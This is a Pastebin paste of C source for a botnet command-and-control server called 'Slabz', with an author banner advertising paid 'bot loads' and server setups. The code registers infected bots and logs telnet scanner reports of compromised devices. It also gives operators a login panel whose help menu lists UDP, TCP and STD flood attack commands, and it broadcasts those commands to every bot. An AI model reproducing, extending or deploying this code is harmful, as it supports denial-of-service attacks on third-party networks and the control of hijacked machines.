Advertisement
Kings_NFOs

Slabz Serverside

Dec 3rd, 2017
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.58 KB | None | 0 0
  1. /*
  2. Slabz Server Side Created by King
  3.  __    __  ______  __    __   ______  
  4. |  \  /  \|      \|  \  |  \ /      \
  5. | $$ /  $$ \$$$$$$| $$\ | $$|  $$$$$$\
  6. | $$/  $$   | $$  | $$$\| $$| $$ __\$$
  7. | $$  $$    | $$  | $$$$\ $$| $$|    \
  8. | $$$$$\    | $$  | $$\$$ $$| $$ \$$$$
  9. | $$ \$$\  _| $$_ | $$ \$$$$| $$__| $$
  10. | $$  \$$\|   $$ \| $$  \$$$ \$$    $$
  11.  \$$   \$$ \$$$$$$ \$$   \$$  \$$$$$$
  12. I do Custom server Sides, VPN's, NET Set ups, Bot Loads, and other shit.
  13.  
  14.  HMU for services on my instagram. \/\/\/
  15.                                  @kings_nfos
  16. */
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <stdint.h>
  20. #include <inttypes.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25. #include <unistd.h>
  26. #include <time.h>
  27. #include <fcntl.h>
  28. #include <sys/epoll.h>
  29. #include <errno.h>
  30. #include <pthread.h>
  31. #include <signal.h>
  32. #include <arpa/inet.h>
  33. #define MAXFDS 1000000
  34. //////////////////////////////////
  35. struct login_info {
  36.     char username[20];
  37.     char password[20];
  38. };
  39. static struct login_info accounts[22];
  40. struct clientdata_t {
  41.         uint32_t ip;
  42.         char connected;
  43. } clients[MAXFDS];
  44. struct telnetdata_t {
  45.         int connected;
  46. } managements[MAXFDS];
  47. struct args {
  48.         int sock;
  49.         struct sockaddr_in cli_addr;
  50. };
  51. static volatile FILE *telFD;
  52. static volatile FILE *fileFD;
  53. static volatile int epollFD = 0;
  54. static volatile int listenFD = 0;
  55. static volatile int OperatorsConnected = 0;
  56. static volatile int TELFound = 0;
  57. static volatile int scannerreport;
  58. //////////////////////////////////
  59. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  60.     int total = 0, got = 1;
  61.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  62.     return got;
  63. }
  64. void trim(char *str) {
  65.     int i;
  66.     int begin = 0;
  67.     int end = strlen(str) - 1;
  68.     while (isspace(str[begin])) begin++;
  69.     while ((end >= begin) && isspace(str[end])) end--;
  70.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  71.     str[i - begin] = '\0';
  72. }
  73. static int make_socket_non_blocking (int sfd) {
  74.     int flags, s;
  75.     flags = fcntl (sfd, F_GETFL, 0);
  76.     if (flags == -1) {
  77.         perror ("fcntl");
  78.         return -1;
  79.     }
  80.     flags |= O_NONBLOCK;
  81.     s = fcntl (sfd, F_SETFL, flags);
  82.     if (s == -1) {
  83.         perror ("fcntl");
  84.         return -1;
  85.     }
  86.     return 0;
  87. }
  88. static int create_and_bind (char *port) {
  89.     struct addrinfo hints;
  90.     struct addrinfo *result, *rp;
  91.     int s, sfd;
  92.     memset (&hints, 0, sizeof (struct addrinfo));
  93.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  94.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  95.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  96.     s = getaddrinfo (NULL, port, &hints, &result);
  97.     if (s != 0) {
  98.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99.         return -1;
  100.     }
  101.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  102.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  103.         if (sfd == -1) continue;
  104.         int yes = 1;
  105.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  106.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  107.         if (s == 0) {
  108.             break;
  109.         }
  110.         close (sfd);
  111.     }
  112.     if (rp == NULL) {
  113.         fprintf (stderr, "Could not bind\n");
  114.         return -1;
  115.     }
  116.     freeaddrinfo (result);
  117.     return sfd;
  118. }
  119. void broadcast(char *msg, int us, char *sender)
  120. {
  121.         int sendMGM = 1;
  122.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  123.         char *wot = malloc(strlen(msg) + 10);
  124.         memset(wot, 0, strlen(msg) + 10);
  125.         strcpy(wot, msg);
  126.         trim(wot);
  127.         time_t rawtime;
  128.         struct tm * timeinfo;
  129.         time(&rawtime);
  130.         timeinfo = localtime(&rawtime);
  131.         char *timestamp = asctime(timeinfo);
  132.         trim(timestamp);
  133.         int i;
  134.         for(i = 0; i < MAXFDS; i++)
  135.         {
  136.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  137.                 if(sendMGM && managements[i].connected)
  138.                 {
  139.                         send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  140.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  141.                         send(i, ": ", 2, MSG_NOSIGNAL);
  142.                 }
  143.                 //printf("sent to fd: %d\n", i);
  144.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  145.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;37m~> \x1b[1;37m", 13, MSG_NOSIGNAL);
  146.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  147.         }
  148.         free(wot);
  149. }
  150. void *BotEventLoop(void *useless) {
  151.     struct epoll_event event;
  152.     struct epoll_event *events;
  153.     int s;
  154.     events = calloc (MAXFDS, sizeof event);
  155.     while (1) {
  156.         int n, i;
  157.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  158.         for (i = 0; i < n; i++) {
  159.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  160.                 clients[events[i].data.fd].connected = 0;
  161.                 close(events[i].data.fd);
  162.                 continue;
  163.             }
  164.             else if (listenFD == events[i].data.fd) {
  165.                while (1) {
  166.                 struct sockaddr in_addr;
  167.                 socklen_t in_len;
  168.                 int infd, ipIndex;
  169.  
  170.                 in_len = sizeof in_addr;
  171.                 infd = accept (listenFD, &in_addr, &in_len);
  172.                 if (infd == -1) {
  173.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  174.                     else {
  175.                         perror ("accept");
  176.                         break;
  177.                          }
  178.                 }
  179.  
  180.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  181.                 int dup = 0;
  182.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  183.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  184.                     if(clients[ipIndex].ip == clients[infd].ip) {
  185.                         dup = 1;
  186.                         break;
  187.                     }}
  188.                 if(dup) {
  189.                     if(send(infd, "!* ITRIEDTODUPBUTNAH\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  190.                     close(infd);
  191.                     continue;
  192.                 }
  193.                 s = make_socket_non_blocking (infd);
  194.                 if (s == -1) { close(infd); break; }
  195.                 event.data.fd = infd;
  196.                 event.events = EPOLLIN | EPOLLET;
  197.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  198.                 if (s == -1) {
  199.                     perror ("epoll_ctl");
  200.                     close(infd);
  201.                     break;
  202.                 }
  203.                 clients[infd].connected = 1;
  204.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  205.             }
  206.             continue;
  207.         }
  208.         else {
  209.             int datafd = events[i].data.fd;
  210.             struct clientdata_t *client = &(clients[datafd]);
  211.             int done = 0;
  212.             client->connected = 1;
  213.             while (1) {
  214.                 ssize_t count;
  215.                 char buf[2048];
  216.                 memset(buf, 0, sizeof buf);
  217.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  218.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  219.                     trim(buf);
  220.                     if(strcmp(buf, "PING") == 0) {
  221.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  222.                         continue;
  223.                     }
  224.                     if(strstr(buf, "REPORT ") == buf) {
  225.                         char *line = strstr(buf, "REPORT ") + 7;
  226.                         fprintf(telFD, "%s\n", line);
  227.                         fflush(telFD);
  228.                         TELFound++;
  229.                         continue;
  230.                     }
  231.                     if(strstr(buf, "PROBING") == buf) {
  232.                         char *line = strstr(buf, "PROBING");
  233.                         scannerreport = 1;
  234.                         continue;
  235.                     }
  236.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  237.                         char *line = strstr(buf, "REMOVING PROBE");
  238.                         scannerreport = 0;
  239.                         continue;
  240.                     }
  241.                     if(strcmp(buf, "PONG") == 0) {
  242.                         continue;
  243.                     }
  244.                     printf("\"%s\"\n", buf);
  245.                 }
  246.                 if (count == -1) {
  247.                     if (errno != EAGAIN) {
  248.                         done = 1;
  249.                     }
  250.                     break;
  251.                 }
  252.                 else if (count == 0) {
  253.                     done = 1;
  254.                     break;
  255.                 }
  256.             if (done) {
  257.                 client->connected = 0;
  258.                 close(datafd);
  259.                     }
  260.                 }
  261.             }
  262.         }
  263.     }
  264. }
  265. unsigned int BotsConnected() {
  266.     int i = 0, total = 0;
  267.     for(i = 0; i < MAXFDS; i++) {
  268.         if(!clients[i].connected) continue;
  269.         total++;
  270.     }
  271.     return total;
  272. }
  273. void *TitleWriter(void *sock) {
  274.     int datafd = (int)sock;
  275.     char string[2048];
  276.     while(1) {
  277.         memset(string, 0, 2048);
  278.         sprintf(string, "%c]0;Dabs: %d ~ Users: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  279.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  280.         sleep(2);
  281. }}
  282. int Find_Login(char *str) {
  283.     FILE *fp;
  284.     int line_num = 0;
  285.     int find_result = 0, find_line=0;
  286.     char temp[512];
  287.  
  288.     if((fp = fopen("login.txt", "r")) == NULL){
  289.         return(-1);
  290.     }
  291.     while(fgets(temp, 512, fp) != NULL){
  292.         if((strstr(temp, str)) != NULL){
  293.             find_result++;
  294.             find_line = line_num;
  295.         }
  296.         line_num++;
  297.     }
  298.     if(fp)
  299.         fclose(fp);
  300.     if(find_result == 0)return 0;
  301.     return find_line;
  302. }
  303. void *BotWorker(void *sock) {
  304.     int datafd = (int)sock;
  305.     int find_line;
  306.     OperatorsConnected++;
  307.     pthread_t title;
  308.     char buf[2048];
  309.     char* username;
  310.     char* password;
  311.     memset(buf, 0, sizeof buf);
  312.     char botnet[2048];
  313.     memset(botnet, 0, 2048);
  314.  
  315.     FILE *fp;
  316.     int i=0;
  317.     int c;
  318.     fp=fopen("login.txt", "r");
  319.     while(!feof(fp)) {
  320.         c=fgetc(fp);
  321.         ++i;
  322.     }
  323.     int j=0;
  324.     rewind(fp);
  325.     while(j!=i-1) {
  326.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  327.         ++j;
  328.     }
  329.  
  330.         if(send(datafd, "\x1b[1;32mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  331.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  332.         trim(buf);
  333.         char* nickstring;
  334.         sprintf(accounts[find_line].username, buf);
  335.         nickstring = ("%s", buf);
  336.         find_line = Find_Login(nickstring);
  337.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  338.         if(send(datafd, "\x1b[1;32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  339.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  340.         trim(buf);
  341.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  342.         memset(buf, 0, 2048);
  343.         goto Banner;
  344.         }
  345.         failed:
  346.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  347.         char failed_line1[80];
  348.  
  349.         sprintf(failed_line1, "\x1b[1;31mWrong Answer Bitch Here\r\n");
  350.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  351.         sleep(5);
  352.         goto end;
  353.        
  354.         Banner:
  355.         pthread_create(&title, NULL, &TitleWriter, sock);
  356.         if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  357.         char ascii_banner_line1 [5000];
  358.         char ascii_banner_line2 [5000];
  359.         char ascii_banner_line3 [5000];
  360.         char ascii_banner_line4 [5000];
  361.         char ascii_banner_line5 [5000];
  362.         char ascii_banner_line6 [5000];
  363.         char ascii_banner_line7 [5000];
  364.         char ascii_banner_line8 [5000];
  365.        
  366.         sprintf(ascii_banner_line1, "\x1b[1;32m  â–ˆâ–ˆâ–ˆâ–ˆâ–ˆâ–ˆ  â–ˆâ–ˆâ–“    â–„â–„â–„       â–„â–„â–„â–„   ▒███████▒\r\n");
  367.         sprintf(ascii_banner_line2, "\x1b[1;32m▒██    â–’ ▓██▒   ▒████▄    â–“█████▄ â–’ â–’ â–’ ▄▀░\r\n");
  368.         sprintf(ascii_banner_line3, "\x1b[1;32mâ–‘ ▓██▄   ▒██░   ▒██  â–€â–ˆâ–„  â–’██▒ ▄██░ â–’ ▄▀▒░ \r\n");
  369.         sprintf(ascii_banner_line4, "\x1b[1;32m  â–’   ██▒▒██░   ░██▄▄▄▄██ ▒██░█▀    â–„▀▒   â–‘\r\n");
  370.         sprintf(ascii_banner_line5, "\x1b[1;32m▒██████▒▒░██████▒▓█   ▓██▒░▓█  â–€â–ˆâ–“▒███████▒\r\n");
  371.         sprintf(ascii_banner_line6, "\x1b[1;32mâ–’ â–’â–“â–’ â–’ â–‘â–‘ â–’â–‘â–“  â–‘â–’â–’   ▓▒█░░▒▓███▀▒░▒▒ â–“â–‘â–’â–‘â–’\r\n");
  372.         sprintf(ascii_banner_line7, "\x1b[1;32mâ–‘ â–‘â–’  â–‘ â–‘â–‘ â–‘ â–’  â–‘ â–’   â–’â–’ â–‘â–’â–‘â–’   â–‘ â–‘â–‘â–’ â–’ â–‘ â–’\r\n");
  373.         sprintf(ascii_banner_line8, "\x1b[1;37m            Welcome To Slab City           \r\n");
  374.        
  375.         if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  376.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  377.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  378.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;                 
  384.         while(1) {
  385.         if(send(datafd, "\x1b[1;37m~> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  386.         break;
  387.         }
  388.         pthread_create(&title, NULL, &TitleWriter, sock);
  389.         managements[datafd].connected = 1;
  390.  
  391.         while(fdgets(buf, sizeof buf, datafd) > 0)
  392.         {
  393.             if(strstr(buf, "bots")) {
  394.                 char botcount [2048];
  395.                 memset(botcount, 0, 2048);
  396.                 sprintf(botcount, "\x1b[1;37mBots: %d ~ Users: %d\r\n", BotsConnected(), OperatorsConnected);
  397.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  398.                 if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  399.                 continue;
  400.             }
  401.             if(strstr(buf, "help")) {
  402.                 pthread_create(&title, NULL, &TitleWriter, sock);
  403.                 char helpline1  [80];
  404.                 char helpline2  [80];
  405.                 char helpline3  [80];
  406.                 char helpline4  [80];
  407.                 char helpline5  [80];
  408.                 char helpline6  [80];
  409.                 char helpline7  [80];
  410.                 char helpline8  [80];
  411.                 char helpline9  [80];
  412.                 char helpline10 [80];  
  413.  
  414.                 sprintf(helpline1,  "\x1b[1;37m~Attack Commands~\r\n");
  415.                 sprintf(helpline2,  "\x1b[1;32mUDP Attack ~ !* UDP IP Port Time 32 0 1\r\n");
  416.                 sprintf(helpline3,  "\x1b[1;37mTCP Attack ~ !* TCP IP Port Time 32 all 0 1\r\n");
  417.                 sprintf(helpline4,  "\x1b[1;32mSTD Attack ~ !* STD IP Port Time\r\n");
  418.                 sprintf(helpline5,  "\x1b[1;37mKill Attacks ~ !* stop\r\n");
  419.                 sprintf(helpline6,  "\x1b[1;37m\r\n");
  420.                 sprintf(helpline7,  "\x1b[1;32m~General Commands~\r\n");
  421.                 sprintf(helpline8,  "\x1b[1;37mBot Count ~ bots\r\n");
  422.                 sprintf(helpline9,  "\x1b[1;32mTelnet Rep ~ !* SCANNER ON | !* SCANNER OFF\r\n");
  423.                 sprintf(helpline10, "\x1b[1;37mClear Screen ~ CLEAR | cls\r\n");
  424.            
  425.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  426.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  427.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  428.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  429.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  430.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  431.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  432.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  433.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  434.                 if(send(datafd, helpline10,  strlen(helpline10),    MSG_NOSIGNAL) == -1) goto end;
  435.                 pthread_create(&title, NULL, &TitleWriter, sock);
  436.                 if(send(datafd, "\x1b[1;37m~> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  437.                 continue;
  438.             }
  439.             if(strstr(buf, "cls")) {
  440.                 char clearscreen [2048];
  441.                 memset(clearscreen, 0, 2048);
  442.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  443.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  444.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  445.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  446.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  447.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  448.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  449.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  450.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  451.                 while(1) {
  452.                 if(send(datafd, "\x1b[1;37m~> \x1b[1;37m", 12, MSG_NOSIGNAL) == -1) goto end;
  453.                 break;
  454.                 }
  455.                 continue;
  456.             }
  457.             if(strstr(buf, "cls")) {
  458.                 char clearscreen [2048];
  459.                 memset(clearscreen, 0, 2048);
  460.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  461.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  462.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  463.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  464.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  465.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  466.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  467.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  468.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;     
  469.                 while(1) {
  470.                 if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  471.                 break;
  472.                 }
  473.                 continue;
  474.             }                      
  475.             if(strstr(buf, "LOG")) {
  476.                 char logoutmessage [2048];
  477.                 memset(logoutmessage, 0, 2048);
  478.                 sprintf(logoutmessage, "\x1b[1;32mBotnet Shutting Down, User %s Signing Out...", accounts[find_line].username);
  479.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  480.                 sleep(5);
  481.                 goto end;
  482.             }
  483.                 trim(buf);
  484.                 if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 11, MSG_NOSIGNAL) == -1) goto end;
  485.                 if(strlen(buf) == 0) continue;
  486.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  487.  
  488.                 FILE *LogFile;
  489.                 LogFile = fopen("sex.log", "a");
  490.                 time_t now;
  491.                 struct tm *gmt;
  492.                 char formatted_gmt [50];
  493.                 char lcltime[50];
  494.                 now = time(NULL);
  495.                 gmt = gmtime(&now);
  496.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  497.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  498.                 fclose(LogFile);
  499.                 broadcast(buf, datafd, accounts[find_line].username);
  500.                 memset(buf, 0, 2048);
  501.         }
  502.         end:
  503.             managements[datafd].connected = 0;
  504.             close(datafd);
  505.             OperatorsConnected--;
  506. }
  507. void *BotListener(int port)
  508. {    
  509.         int sockfd, newsockfd;
  510.         socklen_t clilen;
  511.         struct sockaddr_in serv_addr, cli_addr;
  512.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  513.         if (sockfd < 0) perror("ERROR opening socket");
  514.         bzero((char *) &serv_addr, sizeof(serv_addr));
  515.         serv_addr.sin_family = AF_INET;
  516.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  517.         serv_addr.sin_port = htons(port);
  518.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  519.         listen(sockfd,5);
  520.         clilen = sizeof(cli_addr);
  521.         while(1)
  522.  
  523.         {       printf("Security Breach From: ");
  524.                 client_addr(cli_addr);
  525.                 FILE *logFile;
  526.                 logFile = fopen("IP.log", "a");
  527.                 fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  528.                 fclose(logFile);
  529.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  530.                 if (newsockfd < 0) perror("ERROR on accept");
  531.                 pthread_t thread;
  532.                 pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  533.         }
  534. }
  535. int main (int argc, char *argv[], void *sock)
  536. {
  537.         signal(SIGPIPE, SIG_IGN);
  538.         int s, threads, port;
  539.         struct epoll_event event;
  540.         if (argc != 4) {
  541.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  542.             exit (EXIT_FAILURE);
  543.         }
  544.         port = atoi(argv[3]);
  545.         telFD = fopen("telnet.txt", "a+");
  546.         threads = atoi(argv[2]);
  547.         listenFD = create_and_bind (argv[1]);
  548.         if (listenFD == -1) abort ();
  549.         s = make_socket_non_blocking (listenFD);
  550.         if (s == -1) abort ();
  551.         s = listen (listenFD, SOMAXCONN);
  552.         if (s == -1) {
  553.             perror ("listen");
  554.             abort ();
  555.         }
  556.         epollFD = epoll_create1 (0);
  557.         if (epollFD == -1) {
  558.             perror ("epoll_create");
  559.             abort ();
  560.         }
  561.         event.data.fd = listenFD;
  562.         event.events = EPOLLIN | EPOLLET;
  563.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  564.         if (s == -1) {
  565.             perror ("epoll_ctl");
  566.             abort ();
  567.         }
  568.         pthread_t thread[threads + 2];
  569.         while(threads--) {
  570.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  571.         }
  572.         pthread_create(&thread[0], NULL, &BotListener, port);
  573.         while(1) {
  574.             broadcast("PING", -1, "FBI");
  575.             sleep(60);
  576.         }
  577.         close (listenFD);
  578.         return EXIT_SUCCESS;
  579. }
  580. void client_addr(struct sockaddr_in addr){
  581.         printf("IP:%d.%d.%d.%d\n",
  582.         addr.sin_addr.s_addr & 0xFF,
  583.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  584.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  585.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  586.         FILE *logFile;
  587.         logFile = fopen("server.log", "a");
  588.         fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  589.         addr.sin_addr.s_addr & 0xFF,
  590.         (addr.sin_addr.s_addr & 0xFF00)>>8,
  591.         (addr.sin_addr.s_addr & 0xFF0000)>>16,
  592.         (addr.sin_addr.s_addr & 0xFF000000)>>24);
  593.         fclose(logFile);
  594. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement